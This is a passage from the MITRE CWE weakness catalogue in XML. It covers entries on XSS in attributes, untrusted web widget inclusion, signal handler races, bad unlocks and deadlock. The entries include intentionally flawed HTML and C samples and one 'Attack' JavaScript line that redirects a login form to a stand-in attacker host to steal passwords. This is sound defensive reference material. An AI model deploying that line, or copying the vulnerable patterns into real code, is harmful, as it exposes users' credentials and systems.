					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Carefully check each input parameter against a rigorous positive
							specification (white list) defining the specific characters and format
							allowed. All input should be neutralized, not just parameters that the
							user is supposed to specify, but all data in the request, including tag
							attributes, hidden fields, cookies, headers, the URL itself, and so
							forth. A common mistake that leads to continuing XSS vulnerabilities is
							to validate only fields that are expected to be redisplayed by the site.
							We often encounter data from the request that is reflected by the
							application server or the application that the development team did not
							anticipate. Also, a field that is not currently reflected may be used by
							a future developer. Therefore, validating ALL parts of the HTTP request
							is recommended.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-43">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>With Struts, write all data from form beans with the bean's filter
							attribute set to true.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0520</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass filtering of SCRIPT tags using onload in
						BODY, href in A, BUTTON, INPUT, and others.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1493</Observed_Example_Reference>
					          <Observed_Example_Description>guestbook XSS in STYLE or IMG SRC
						attributes.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1965</Observed_Example_Reference>
					          <Observed_Example_Description>Javascript in onerror attribute of IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1495</Observed_Example_Reference>
					          <Observed_Example_Description>XSS in web-based email product via onmouseover
						event.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1681</Observed_Example_Reference>
					          <Observed_Example_Description>XSS via script in &lt;P&gt;
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1935</Observed_Example_Reference>
					          <Observed_Example_Description>Onload, onmouseover, and other events in an e-mail
						attachment.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0945</Observed_Example_Reference>
					          <Observed_Example_Description>Onmouseover and onload events in img, link, and
						mail tags.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1136</Observed_Example_Reference>
					          <Observed_Example_Description>Javascript in onmouseover attribute in e-mail
						address or URL.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>XSS using Script in Attributes</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>243</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">XSS using Script in
						Attributes</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Script in
						Attributes in a Web Page</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="830" Name="Inclusion of Web Functionality from an Untrusted Source" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software includes web functionality (such as a web widget)
					from another domain, which causes it to operate within the domain of the
					software, potentially granting total access and control of the software to the
					untrusted source.</Description_Summary>
				        <Extended_Description>
					          <Text>Including third party functionality in a web-based environment is risky,
						especially if the source of the functionality is untrusted. </Text>
					          <Text>Even if the third party is a trusted source, the software may still be
						exposed to attacks and malicious behavior if that trusted source is
						compromised, or if the code is modified in transmission from the third party
						to the software.</Text>
					          <Text>This weakness is common in "mashup" development on the web, which may
						include source functionality from other domains. For example,
						Javascript-based web widgets may be inserted by using '&lt;SCRIPT
						SRC="http://other.domain.here"&gt;' tags, which causes the code to run in
						the domain of the software, not the remote site from which the widget was
						loaded. As a result, the included code has access to the local DOM,
						including cookies and other data that the developer might not want the
						remote site to be able to access.</Text>
					          <Text> Such dependencies may be desirable, or even required, but sometimes
						programmers are not aware that a dependency exists.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>829</Relationship_Target_ID>
					          <!--Inclusion of Functionality from Untrusted Control Sphere-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-94">
					          <Intro_Text>This login webpage includes a weather widget from an external
						website:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;div class="header"&gt; Welcome!</Code>
							              <Block>
								                <Code>&lt;div id="loginBox"&gt;Please Login:</Code>
								                <Block>
									                  <Code>&lt;form id ="loginForm" name="loginForm"
										action="login.php" method="post"&gt;</Code>
									                  <Code>Username: &lt;input type="text" name="username"
										/&gt;</Code>
									                  <Code>&lt;br/&gt;</Code>
									                  <Code>Password: &lt;input type="password" name="password"
										/&gt;</Code>
									                  <Code>&lt;input type="submit" value="Login" /&gt;</Code>
									                  <Code>&lt;/form&gt;</Code>
								                </Block>
								                <Code>&lt;/div&gt;</Code>
								                <Code>&lt;div id="WeatherWidget"&gt;</Code>
								                <Block>
									                  <Code>&lt;script type="text/javascript"
										src="externalDomain.example.com/weatherwidget.js"&gt;&lt;/script&gt;</Code>
								                </Block>
								                <Code>&lt;/div&gt;</Code>
							              </Block>
							              <Code>&lt;/div&gt;</Code>
						            </Block>
						            <Text>This webpage is now only as secure as the external domain it is
							including functionality from. If an attacker compromised the external
							domain and could add malicious scripts to the weatherwidget.js file, the
							attacker would have complete control, as seen in any XSS weakness
							(CWE-79).</Text>
						            <Text>For example, user login information could easily be stolen with a
							single line added to weatherwidget.js: </Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>Javascript</Code_Example_Language>
							              <Comment>...Weather widget code....</Comment>
							              <Code>document.getElementById('loginForm').action =
								"ATTACK.example.com/stealPassword.php";</Code>
						            </Block>
						            <Text>This line of javascript changes the login form's original action
							target from the original website to an attack site. As a result, if a
							user attempts to login their username and password will be sent directly
							to the attack site.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Title>Third-Party Web Widget Security FAQ</Reference_Title>
					          <Reference_Link>http://jeremiahgrossman.blogspot.com/2010/07/third-party-web-widget-security-faq.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-12-08</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="831" Name="Signal Handler Function Associated with Multiple Signals" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software defines a function that is used as a handler for
					more than one signal.</Description_Summary>
				        <Extended_Description>
					          <Text>While sometimes intentional and safe, when the same function is used to
						handle multiple signals, a race condition could occur if the function uses
						any state outside of its local declaration, such as global variables or
						non-reentrant functions, or has any side effects.</Text>
					          <Text>An attacker could send one signal that invokes the handler function; in
						many OSes, this will typically prevent the same signal from invoking the
						handler again, at least until the handler function has completed execution.
						However, the attacker could then send a different signal that is associated
						with the same handler function. This could interrupt the original handler
						function while it is still executing. If there is shared state, then the
						state could be corrupted. This can lead to a variety of potential
						consequences depending on context, including denial of service and code
						execution.</Text>
					          <Text>Another rarely-explored possibility arises when the signal handler is only
						designed to be executed once (if at all). By sending multiple signals, an
						attacker could invoke the function more than once. This may generate extra,
						unintended side effects. A race condition might not even be necessary; the
						attacker could send one signal, wait until it is handled, then send the
						other signal.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>364</Relationship_Target_ID>
					          <!--Signal Handler Race Condition-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> The most common consequence will be a corruption of the state of the
							software, possibly leading to a crash or exit. However, if the signal
							handler is operating on state variables for security relevant libraries
							or protection mechanisms, the consequences can be far more severe,
							including protection mechanism bypass, privilege escalation, or
							information exposure.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code registers the same signal handler function with two
						different signals.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>void handler (int sigNum) {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>int main (int argc, char* argv[]) {</Code>
							              <Block>
								                <Code>signal(SIGUSR1, handler)</Code>
								                <Code>signal(SIGUSR2, handler)</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-26">
					          <Intro_Text>This code registers the same signal handler function with two
						different signals (CWE-831). If those signals are sent to the process, the
						handler creates a log message (specified in the first argument to the
						program) and exits.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>char *logMessage;</Code>
							              <Code/>
							              <Code>void handler (int sigNum) {</Code>
							              <Block>
								                <Code>syslog(LOG_NOTICE, "%s\n", logMessage);</Code>
								                <Code>free(logMessage);</Code>
								                <Comment>/* artificially increase the size of the timing window to
									make demonstration of this weakness easier. */</Comment>
								                <Code>sleep(10);</Code>
								                <Code>exit(0);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main (int argc, char* argv[]) {</Code>
							              <Block>
								                <Code>logMessage = strdup(argv[1]);</Code>
								                <Comment>/* Register signal handlers. */</Comment>
								                <Code>signal(SIGHUP, handler);</Code>
								                <Code>signal(SIGTERM, handler);</Code>
								                <Comment>/* artificially increase the size of the timing window to
									make demonstration of this weakness easier. */</Comment>
								                <Code>sleep(10);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The handler function uses global state (globalVar and logMessage), and
							it can be called by both the SIGHUP and SIGTERM signals. An attack
							scenario might follow these lines:</Text>
						            <Block Block_Nature="List">
							              <Text>The program begins execution, initializes logMessage, and
								registers the signal handlers for SIGHUP and SIGTERM. </Text>
							              <Text>The program begins its "normal" functionality, which is simplified
								as sleep(), but could be any functionality that consumes some
								time.</Text>
							              <Text>The attacker sends SIGHUP, which invokes handler (call this
								"SIGHUP-handler").</Text>
							              <Text>SIGHUP-handler begins to execute, calling syslog().</Text>
							              <Text>syslog() calls malloc(), which is non-reentrant. malloc() begins
								to modify metadata to manage the heap.</Text>
							              <Text>The attacker then sends SIGTERM.</Text>
							              <Text>SIGHUP-handler is interrupted, but syslog's malloc call is still
								executing and has not finished modifying its metadata.</Text>
							              <Text>The SIGTERM handler is invoked.</Text>
							              <Text>SIGTERM-handler records the log message using syslog(), then frees
								the logMessage variable.</Text>
						            </Block>
						            <Text>At this point, the state of the heap is uncertain, because malloc is
							still modifying the metadata for the heap; the metadata might be in an
							inconsistent state. The SIGTERM-handler call to free() is assuming that
							the metadata is inconsistent, possibly causing it to write data to the
							wrong location while managing the heap. The result is memory corruption,
							which could lead to a crash or even code execution, depending on the
							circumstances under which the code is running.</Text>
						            <Text>Note that this is an adaptation of a classic example as originally
							presented by Michal Zalewski (see references); the original example was
							shown to be exploitable for code execution.</Text>
						            <Text>Also note that the strdup(argv[1]) call contains a potential buffer
							over-read (CWE-126) if the program is called without any arguments,
							because argc would be 0, and argv[1] would point outside the bounds of
							the array.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Michal Zalewski</Reference_Author>
					          <Reference_Title>Delivering Signals for Fun and Profit</Reference_Title>
					          <Reference_Link>http://lcamtuf.coredump.cx/signals.txt</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Race Condition: Signal Handling</Reference_Title>
					          <Reference_Link>http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-12-12</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="832" Name="Unlock of a Resource that is not Locked" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software attempts to unlock a resource that is not
					locked.</Description_Summary>
				        <Extended_Description>
					          <Text>Depending on the locking functionality, an unlock of a non-locked resource
						might cause memory corruption or other modification to the resource (or its
						associated metadata that is used for tracking locks).</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> Depending on the locking being used, an unlock operation might not
							have any adverse effects. When effects exist, the most common
							consequence will be a corruption of the state of the software, possibly
							leading to a crash or exit; depending on the implementation of the
							unlocking, memory corruption or code execution could occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-4210</Observed_Example_Reference>
					          <Observed_Example_Description>function in OS kernel unlocks a mutex that was not
						previously locked, causing a panic or overwrite of arbitrary
						memory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4302</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: OS kernel does not properly handle a
						failure of a function call (CWE-755), leading to an unlock of a resource
						that was not locked (CWE-832), with resultant
						crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1243</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel performs an unlock in some incorrect
						circumstances, leading to panic.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-12-12</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="833" Name="Deadlock" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains multiple threads or executable segments
					that are waiting for each other to release a necessary lock, resulting in
					deadlock.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>853</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 08 - Locking (LCK)-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> Each thread of execution will "hang" and prevent tasks from
							completing. In some cases, CPU consumption may occur if a lock check
							occurs in a tight loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2857</Observed_Example_Reference>
					          <Observed_Example_Description>OS deadlock</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1961</Observed_Example_Reference>
					          <Observed_Example_Description>OS deadlock involving 3 separate
						functions</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2699</Observed_Example_Reference>
					          <Observed_Example_Description>deadlock in library</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4272</Observed_Example_Reference>
					          <Observed_Example_Description>deadlock triggered by packets that force
						collisions in a routing table</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1850</Observed_Example_Reference>
					          <Observed_Example_Description>read/write deadlock between web server and
						script</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0174</Observed_Example_Reference>
					          <Observed_Example_Description>web server deadlock involving multiple listening
						connections </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1388</Observed_Example_Reference>
					          <Observed_Example_Description>multiple simultaneous calls to the same function
						trigger deadlock.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-5158</Observed_Example_Reference>
					          <Observed_Example_Description>chain: other weakness leads to NULL pointer
						dereference (CWE-476) or deadlock (CWE-833).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4342</Observed_Example_Reference>
					          <Observed_Example_Description>deadlock when an operation is performed on a
						resource while it is being removed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2374</Observed_Example_Reference>
					          <Observed_Example_Description>Deadlock in device driver triggered by using file
						handle of a related device.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2275</Observed_Example_Reference>
					          <Observed_Example_Description>Deadlock when large number of small messages
						cannot be processed quickly enough.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3847</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel has deadlock triggered by a signal
						during a core dump.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3106</Observed_Example_Reference>
					          <Observed_Example_Description>Race condition leads to
						deadlock.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2456</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: array index error (CWE-129) leads to
						deadlock (CWE-833)</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 13, "Synchronization Problems" / "Starvation and
